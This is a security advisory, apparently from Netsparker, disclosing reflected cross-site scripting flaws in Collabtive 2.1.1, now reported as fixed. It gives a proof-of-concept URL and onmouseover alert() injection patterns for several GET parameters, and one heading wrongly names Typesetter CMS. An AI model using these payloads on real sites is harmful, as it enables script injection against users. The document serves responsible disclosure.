Advisory by Netsparker
Name: Multiple Reflected XSS Vulnerabilities in Collabtive
Affected Software : Collabtive
Affected Versions: 2.1.1
Vendor Homepage : 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Fixed
Netsparker Advisory Reference : NS-17-001

Technical Details

Proof of Concept URL for XSSes vulnerabilities in Typesetter CMS;

URL /collabtive/manageajax.php?action=newcal&y=x'"%20onmouseover=alert(9)%20&m=5
Parameter Name y
Parameter Type GET
Attack Pattern '"%20onmouseover=alert(9)%20

Parameter Name theday, themonth, theyear
Parameter Type GET
Attack Pattern "%20onmouseover=alert(1)%20value="15

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
30 Jun 2016 - Issue reported
08 Sep 2016 - Vendor fixed
16 Jan 2017 - Advisory released

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Credits & Authors
This issues has been discovered by Omer Citak while testing Netsparker Web Application Security Scanner.

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